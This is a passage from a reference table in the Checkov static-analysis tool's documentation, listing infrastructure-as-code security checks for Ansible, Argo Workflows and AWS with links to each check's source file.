isn't disabled with get_url                                                                                                                                           | Ansible                 | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                                                                           |\n|   71 | CKV_ANSIBLE_2            | resource                         | [].tasks[].block[?\"get_url\" != null][]                                                           | Ensure that certificate validation isn't disabled with get_url                                                                                                                                           | Ansible                 | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                                                                           |\n|   72 | CKV_ANSIBLE_2            | resource                         | [].tasks[].block[].block[?\"ansible.builtin.get_url\" != null][]                                   | Ensure that certificate validation isn't disabled with get_url                                                                                                                                           | Ansible                 | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                                                                           |\n|   73 | CKV_ANSIBLE_2            | resource                         | [].tasks[].block[].block[?\"get_url\" != null][]                                                   | Ensure that certificate validation isn't disabled with get_url                                                                                                                                           | Ansible                 | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                                                                           |\n|   74 | CKV_ANSIBLE_2            | resource                         | [].tasks[].block[].block[].block[?\"ansible.builtin.get_url\" != null][]                           | Ensure that certificate validation isn't disabled with get_url                                                                                                                                           | Ansible                 | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                                                                           |\n|   75 | CKV_ANSIBLE_2            | resource                         | [].tasks[].block[].block[].block[?\"get_url\" != null][]                                           | Ensure that certificate validation isn't disabled with get_url                                                                                                                                           | Ansible                 | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                                                                           |\n|   76 | CKV_ANSIBLE_3            | resource                         | [?\"ansible.builtin.yum\" != null][]                                                               | Ensure that certificate validation isn't disabled with yum                                                                                                                                               | Ansible                 | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                                                                                 |\n|   77 | CKV_ANSIBLE_3            | resource                         | [?\"yum\" != null][]                                                                               | Ensure that certificate validation isn't disabled with yum                                                                                                                                               | Ansible                 | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                                                                                 |\n|   78 | CKV_ANSIBLE_3            | resource                         | [].block[?\"ansible.builtin.yum\" != null][]                                                       | Ensure that certificate validation isn't disabled with yum                                                                                                                                               | Ansible                 | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                                                                                 |\n|   79 | CKV_ANSIBLE_3            | resource                         | [].block[?\"yum\" != null][]                                                                       | Ensure that certificate validation isn't disabled with yum                                                                                                                                               | Ansible                 | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                                                                                 |\n|   80 | CKV_ANSIBLE_3            | resource                         | [].block[].block[?\"ansible.builtin.yum\" != null][]                                               | Ensure that certificate validation isn't disabled with yum                                                                                                                                               | Ansible                 | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                                                                                 |\n|   81 | CKV_ANSIBLE_3            | resource                         | [].block[].block[?\"yum\" != null][]                                                               | Ensure that certificate validation isn't disabled with yum                                                                                                                                               | Ansible                 | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                                                                                 |\n|   82 | CKV_ANSIBLE_3            | resource                         | [].block[].block[].block[?\"ansible.builtin.yum\" != null][]                                       | Ensure that certificate validation isn't disabled with yum                                                                                                                                               | Ansible                 | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                                                                                 |\n|   83 | CKV_ANSIBLE_3            | resource                         | [].block[].block[].block[?\"yum\" != null][]                                                       | Ensure that certificate validation isn't disabled with yum                                                                                                                                               | Ansible                 | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                                                                                 |\n|   84 | CKV_ANSIBLE_3            | resource                         | [].tasks[?\"ansible.builtin.yum\" != null][]                                                       | Ensure that certificate validation isn't disabled with yum                                                                                                                                               | Ansible                 | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                                                                                 |\n|   85 | CKV_ANSIBLE_3            | resource                         | [].tasks[?\"yum\" != null][]                                                                       | Ensure that certificate validation isn't disabled with yum                                                                                                                                               | Ansible                 | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                                                                                 |\n|   86 | CKV_ANSIBLE_3            | resource                         | [].tasks[].block[?\"ansible.builtin.yum\" != null][]                                               | Ensure that certificate validation isn't disabled with yum                                                                                                                                               | Ansible                 | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                                                                                 |\n|   87 | CKV_ANSIBLE_3            | resource                         | [].tasks[].block[?\"yum\" != null][]                                                               | Ensure that certificate validation isn't disabled with yum                                                                                                                                               | Ansible                 | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                                                                                 |\n|   88 | CKV_ANSIBLE_3            | resource                         | [].tasks[].block[].block[?\"ansible.builtin.yum\" != null][]                                       | Ensure that certificate validation isn't disabled with yum                                                                                                                                               | Ansible                 | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                                                                                 |\n|   89 | CKV_ANSIBLE_3            | resource                         | [].tasks[].block[].block[?\"yum\" != null][]                                                       | Ensure that certificate validation isn't disabled with yum                                                                                                                                               | Ansible                 | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                                                                                 |\n|   90 | CKV_ANSIBLE_3            | resource                         | [].tasks[].block[].block[].block[?\"ansible.builtin.yum\" != null][]                               | Ensure that certificate validation isn't disabled with yum                                                                                                                                               | Ansible                 | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                                                                                 |\n|   91 | CKV_ANSIBLE_3            | resource                         | [].tasks[].block[].block[].block[?\"yum\" != null][]                                               | Ensure that certificate validation isn't disabled with yum                                                                                                                                               | Ansible                 | [YumValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumValidateCerts.py)                                                                                                 |\n|   92 | CKV_ANSIBLE_4            | resource                         | [?\"ansible.builtin.yum\" != null][]                                                               | Ensure that SSL validation isn't disabled with yum                                                                                                                                                       | Ansible                 | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                                                                         |\n|   93 | CKV_ANSIBLE_4            | resource                         | [?\"yum\" != null][]                                                                               | Ensure that SSL validation isn't disabled with yum                                                                                                                                                       | Ansible                 | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                                                                         |\n|   94 | CKV_ANSIBLE_4            | resource                         | [].block[?\"ansible.builtin.yum\" != null][]                                                       | Ensure that SSL validation isn't disabled with yum                                                                                                                                                       | Ansible                 | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                                                                         |\n|   95 | CKV_ANSIBLE_4            | resource                         | [].block[?\"yum\" != null][]                                                                       | Ensure that SSL validation isn't disabled with yum                                                                                                                                                       | Ansible                 | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                                                                         |\n|   96 | CKV_ANSIBLE_4            | resource                         | [].block[].block[?\"ansible.builtin.yum\" != null][]                                               | Ensure that SSL validation isn't disabled with yum                                                                                                                                                       | Ansible                 | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                                                                         |\n|   97 | CKV_ANSIBLE_4            | resource                         | [].block[].block[?\"yum\" != null][]                                                               | Ensure that SSL validation isn't disabled with yum                                                                                                                                                       | Ansible                 | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                                                                         |\n|   98 | CKV_ANSIBLE_4            | resource                         | [].block[].block[].block[?\"ansible.builtin.yum\" != null][]                                       | Ensure that SSL validation isn't disabled with yum                                                                                                                                                       | Ansible                 | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                                                                         |\n|   99 | CKV_ANSIBLE_4            | resource                         | [].block[].block[].block[?\"yum\" != null][]                                                       | Ensure that SSL validation isn't disabled with yum                                                                                                                                                       | Ansible                 | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                                                                         |\n|  100 | CKV_ANSIBLE_4            | resource                         | [].tasks[?\"ansible.builtin.yum\" != null][]                                                       | Ensure that SSL validation isn't disabled with yum                                                                                                                                                       | Ansible                 | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                                                                         |\n|  101 | CKV_ANSIBLE_4            | resource                         | [].tasks[?\"yum\" != null][]                                                                       | Ensure that SSL validation isn't disabled with yum                                                                                                                                                       | Ansible                 | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                                                                         |\n|  102 | CKV_ANSIBLE_4            | resource                         | [].tasks[].block[?\"ansible.builtin.yum\" != null][]                                               | Ensure that SSL validation isn't disabled with yum                                                                                                                                                       | Ansible                 | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                                                                         |\n|  103 | CKV_ANSIBLE_4            | resource                         | [].tasks[].block[?\"yum\" != null][]                                                               | Ensure that SSL validation isn't disabled with yum                                                                                                                                                       | Ansible                 | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                                                                         |\n|  104 | CKV_ANSIBLE_4            | resource                         | [].tasks[].block[].block[?\"ansible.builtin.yum\" != null][]                                       | Ensure that SSL validation isn't disabled with yum                                                                                                                                                       | Ansible                 | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                                                                         |\n|  105 | CKV_ANSIBLE_4            | resource                         | [].tasks[].block[].block[?\"yum\" != null][]                                                       | Ensure that SSL validation isn't disabled with yum                                                                                                                                                       | Ansible                 | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                                                                         |\n|  106 | CKV_ANSIBLE_4            | resource                         | [].tasks[].block[].block[].block[?\"ansible.builtin.yum\" != null][]                               | Ensure that SSL validation isn't disabled with yum                                                                                                                                                       | Ansible                 | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                                                                         |\n|  107 | CKV_ANSIBLE_4            | resource                         | [].tasks[].block[].block[].block[?\"yum\" != null][]                                               | Ensure that SSL validation isn't disabled with yum                                                                                                                                                       | Ansible                 | [YumSslVerify.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/YumSslVerify.py)                                                                                                         |\n|  108 | CKV_ANSIBLE_5            | resource                         | [?\"ansible.builtin.apt\" != null][]                                                               | Ensure that packages with untrusted or missing signatures are not used                                                                                                                                   | Ansible                 | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                                                                                   |\n|  109 | CKV_ANSIBLE_5            | resource                         | [?\"apt\" != null][]                                                                               | Ensure that packages with untrusted or missing signatures are not used                                                                                                                                   | Ansible                 | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                                                                                   |\n|  110 | CKV_ANSIBLE_5            | resource                         | [].block[?\"ansible.builtin.apt\" != null][]                                                       | Ensure that packages with untrusted or missing signatures are not used                                                                                                                                   | Ansible                 | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                                                                                   |\n|  111 | CKV_ANSIBLE_5            | resource                         | [].block[?\"apt\" != null][]                                                                       | Ensure that packages with untrusted or missing signatures are not used                                                                                                                                   | Ansible                 | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                                                                                   |\n|  112 | CKV_ANSIBLE_5            | resource                         | [].block[].block[?\"ansible.builtin.apt\" != null][]                                               | Ensure that packages with untrusted or missing signatures are not used                                                                                                                                   | Ansible                 | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                                                                                   |\n|  113 | CKV_ANSIBLE_5            | resource                         | [].block[].block[?\"apt\" != null][]                                                               | Ensure that packages with untrusted or missing signatures are not used                                                                                                                                   | Ansible                 | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                                                                                   |\n|  114 | CKV_ANSIBLE_5            | resource                         | [].block[].block[].block[?\"ansible.builtin.apt\" != null][]                                       | Ensure that packages with untrusted or missing signatures are not used                                                                                                                                   | Ansible                 | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                                                                                   |\n|  115 | CKV_ANSIBLE_5            | resource                         | [].block[].block[].block[?\"apt\" != null][]                                                       | Ensure that packages with untrusted or missing signatures are not used                                                                                                                                   | Ansible                 | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                                                                                   |\n|  116 | CKV_ANSIBLE_5            | resource                         | [].tasks[?\"ansible.builtin.apt\" != null][]                                                       | Ensure that packages with untrusted or missing signatures are not used                                                                                                                                   | Ansible                 | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                                                                                   |\n|  117 | CKV_ANSIBLE_5            | resource                         | [].tasks[?\"apt\" != null][]                                                                       | Ensure that packages with untrusted or missing signatures are not used                                                                                                                                   | Ansible                 | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                                                                                   |\n|  118 | CKV_ANSIBLE_5            | resource                         | [].tasks[].block[?\"ansible.builtin.apt\" != null][]                                               | Ensure that packages with untrusted or missing signatures are not used                                                                                                                                   | Ansible                 | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                                                                                   |\n|  119 | CKV_ANSIBLE_5            | resource                         | [].tasks[].block[?\"apt\" != null][]                                                               | Ensure that packages with untrusted or missing signatures are not used                                                                                                                                   | Ansible                 | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                                                                                   |\n|  120 | CKV_ANSIBLE_5            | resource                         | [].tasks[].block[].block[?\"ansible.builtin.apt\" != null][]                                       | Ensure that packages with untrusted or missing signatures are not used                                                                                                                                   | Ansible                 | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                                                                                   |\n|  121 | CKV_ANSIBLE_5            | resource                         | [].tasks[].block[].block[?\"apt\" != null][]                                                       | Ensure that packages with untrusted or missing signatures are not used                                                                                                                                   | Ansible                 | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                                                                                   |\n|  122 | CKV_ANSIBLE_5            | resource                         | [].tasks[].block[].block[].block[?\"ansible.builtin.apt\" != null][]                               | Ensure that packages with untrusted or missing signatures are not used                                                                                                                                   | Ansible                 | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                                                                                   |\n|  123 | CKV_ANSIBLE_5            | resource                         | [].tasks[].block[].block[].block[?\"apt\" != null][]                                               | Ensure that packages with untrusted or missing signatures are not used                                                                                                                                   | Ansible                 | [AptAllowUnauthenticated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py)                                                                                   |\n|  124 | CKV_ANSIBLE_6            | resource                         | [?\"ansible.builtin.apt\" != null][]                                                               | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state                       | Ansible                 | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                                                                                 |\n|  125 | CKV_ANSIBLE_6            | resource                         | [?\"apt\" != null][]                                                                               | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state                       | Ansible                 | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                                                                                 |\n|  126 | CKV_ANSIBLE_6            | resource                         | [].block[?\"ansible.builtin.apt\" != null][]                                                       | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state                       | Ansible                 | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                                                                                 |\n|  127 | CKV_ANSIBLE_6            | resource                         | [].block[?\"apt\" != null][]                                                                       | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state                       | Ansible                 | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                                                                                 |\n|  128 | CKV_ANSIBLE_6            | resource                         | [].block[].block[?\"ansible.builtin.apt\" != null][]                                               | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state                       | Ansible                 | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                                                                                 |\n|  129 | CKV_ANSIBLE_6            | resource                         | [].block[].block[?\"apt\" != null][]                                                               | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state                       | Ansible                 | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                                                                                 |\n|  130 | CKV_ANSIBLE_6            | resource                         | [].block[].block[].block[?\"ansible.builtin.apt\" != null][]                                       | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state                       | Ansible                 | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                                                                                 |\n|  131 | CKV_ANSIBLE_6            | resource                         | [].block[].block[].block[?\"apt\" != null][]                                                       | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state                       | Ansible                 | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                                                                                 |\n|  132 | CKV_ANSIBLE_6            | resource                         | [].tasks[?\"ansible.builtin.apt\" != null][]                                                       | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state                       | Ansible                 | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                                                                                 |\n|  133 | CKV_ANSIBLE_6            | resource                         | [].tasks[?\"apt\" != null][]                                                                       | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state                       | Ansible                 | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                                                                                 |\n|  134 | CKV_ANSIBLE_6            | resource                         | [].tasks[].block[?\"ansible.builtin.apt\" != null][]                                               | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state                       | Ansible                 | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                                                                                 |\n|  135 | CKV_ANSIBLE_6            | resource                         | [].tasks[].block[?\"apt\" != null][]                                                               | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state                       | Ansible                 | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                                                                                 |\n|  136 | CKV_ANSIBLE_6            | resource                         | [].tasks[].block[].block[?\"ansible.builtin.apt\" != null][]                                       | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state                       | Ansible                 | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                                                                                 |\n|  137 | CKV_ANSIBLE_6            | resource                         | [].tasks[].block[].block[?\"apt\" != null][]                                                       | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state                       | Ansible                 | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                                                                                 |\n|  138 | CKV_ANSIBLE_6            | resource                         | [].tasks[].block[].block[].block[?\"ansible.builtin.apt\" != null][]                               | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state                       | Ansible                 | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                                                                                 |\n|  139 | CKV_ANSIBLE_6            | resource                         | [].tasks[].block[].block[].block[?\"apt\" != null][]                                               | Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state                       | Ansible                 | [AptForce.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/AptForce.py)                                                                                                                 |\n|  140 | CKV2_ANSIBLE_1           | resource                         | tasks.ansible.builtin.uri                                                                        | Ensure that HTTPS url is used with uri                                                                                                                                                                   | Ansible                 | [UriHttpsOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/UriHttpsOnly.yaml)                                                                                                     |\n|  141 | CKV2_ANSIBLE_1           | resource                         | tasks.uri                                                                                        | Ensure that HTTPS url is used with uri                                                                                                                                                                   | Ansible                 | [UriHttpsOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/UriHttpsOnly.yaml)                                                                                                     |\n|  142 | CKV2_ANSIBLE_2           | resource                         | tasks.ansible.builtin.get_url                                                                    | Ensure that HTTPS url is used with get_url                                                                                                                                                               | Ansible                 | [GetUrlHttpsOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/GetUrlHttpsOnly.yaml)                                                                                               |\n|  143 | CKV2_ANSIBLE_2           | resource                         | tasks.get_url                                                                                    | Ensure that HTTPS url is used with get_url                                                                                                                                                               | Ansible                 | [GetUrlHttpsOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/GetUrlHttpsOnly.yaml)                                                                                               |\n|  144 | CKV2_ANSIBLE_3           | resource                         | block                                                                                            | Ensure block is handling task errors properly                                                                                                                                                            | Ansible                 | [BlockErrorHandling.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/BlockErrorHandling.yaml)                                                                                         |\n|  145 | CKV2_ANSIBLE_4           | resource                         | tasks.ansible.builtin.dnf                                                                        | Ensure that packages with untrusted or missing GPG signatures are not used by dnf                                                                                                                        | Ansible                 | [DnfDisableGpgCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfDisableGpgCheck.yaml)                                                                                         |\n|  146 | CKV2_ANSIBLE_4           | resource                         | tasks.dnf                                                                                        | Ensure that packages with untrusted or missing GPG signatures are not used by dnf                                                                                                                        | Ansible                 | [DnfDisableGpgCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfDisableGpgCheck.yaml)                                                                                         |\n|  147 | CKV2_ANSIBLE_5           | resource                         | tasks.ansible.builtin.dnf                                                                        | Ensure that SSL validation isn't disabled with dnf                                                                                                                                                       | Ansible                 | [DnfSslVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfSslVerify.yaml)                                                                                                     |\n|  148 | CKV2_ANSIBLE_5           | resource                         | tasks.dnf                                                                                        | Ensure that SSL validation isn't disabled with dnf                                                                                                                                                       | Ansible                 | [DnfSslVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfSslVerify.yaml)                                                                                                     |\n|  149 | CKV2_ANSIBLE_6           | resource                         | tasks.ansible.builtin.dnf                                                                        | Ensure that certificate validation isn't disabled with dnf                                                                                                                                               | Ansible                 | [DnfValidateCerts.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfValidateCerts.yaml)                                                                                             |\n|  150 | CKV2_ANSIBLE_6           | resource                         | tasks.dnf                                                                                        | Ensure that certificate validation isn't disabled with dnf                                                                                                                                               | Ansible                 | [DnfValidateCerts.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/DnfValidateCerts.yaml)                                                                                             |\n|  151 | CKV_ARGO_1               | argo_workflows                   | spec                                                                                             | Ensure Workflow pods are not using the default ServiceAccount                                                                                                                                            | Argo Workflows          | [DefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/argo_workflows/checks/template/DefaultServiceAccount.py)                                                                                    |\n|  152 | CKV_ARGO_2               | argo_workflows                   | spec                                                                                             | Ensure Workflow pods are running as non-root user                                                                                                                                                        | Argo Workflows          | [RunAsNonRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/argo_workflows/checks/template/RunAsNonRoot.py)                                                                                                      |\n|  153 | CKV_AWS_1                | data                             | aws_iam_policy_document                                                                          | Ensure IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                      | Terraform               | [AdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/AdminPolicyDocument.py)                                                                                             |\n|  154 | CKV_AWS_1                | resource                         | serverless_aws                                                                                   | Ensure IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                      | serverless              | [AdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/serverless/checks/function/aws/AdminPolicyDocument.py)                                                                                        |\n|  155 | CKV_AWS_2                | resource                         | AWS::ElasticLoadBalancingV2::Listener                                                            | Ensure ALB protocol is HTTPS                                                                                                                                                                             | Cloudformation          | [ALBListenerHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ALBListenerHTTPS.py)                                                                                          |\n|  156 | CKV_AWS_2                | resource                         | aws_alb_listener                                                                                 | Ensure ALB protocol is HTTPS                                                                                                                                                                             | Terraform               | [ALBListenerHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBListenerHTTPS.py)                                                                                               |\n|  157 | CKV_AWS_2                | resource                         | aws_lb_listener                                                                                  | Ensure ALB protocol is HTTPS                                                                                                                                                                             | Terraform               | [ALBListenerHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBListenerHTTPS.py)                                                                                               |\n|  158 | CKV_AWS_3                | resource                         | AWS::EC2::Volume                                                                                 | Ensure all data stored in the EBS is securely encrypted                                                                                                                                                  | Cloudformation          | [EBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EBSEncryption.py)                                                                                                |\n|  159 | CKV_AWS_3                | resource                         | aws_ebs_volume                                                                                   | Ensure all data stored in the EBS is securely encrypted                                                                                                                                                  | Terraform               | [EBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EBSEncryption.py)                                                                                                     |\n|  160 | CKV_AWS_5                | resource                         | AWS::Elasticsearch::Domain                                                                       | Ensure all data stored in the Elasticsearch is securely encrypted at rest                                                                                                                                | Cloudformation          | [ElasticsearchEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchEncryption.py)                                                                            |\n| 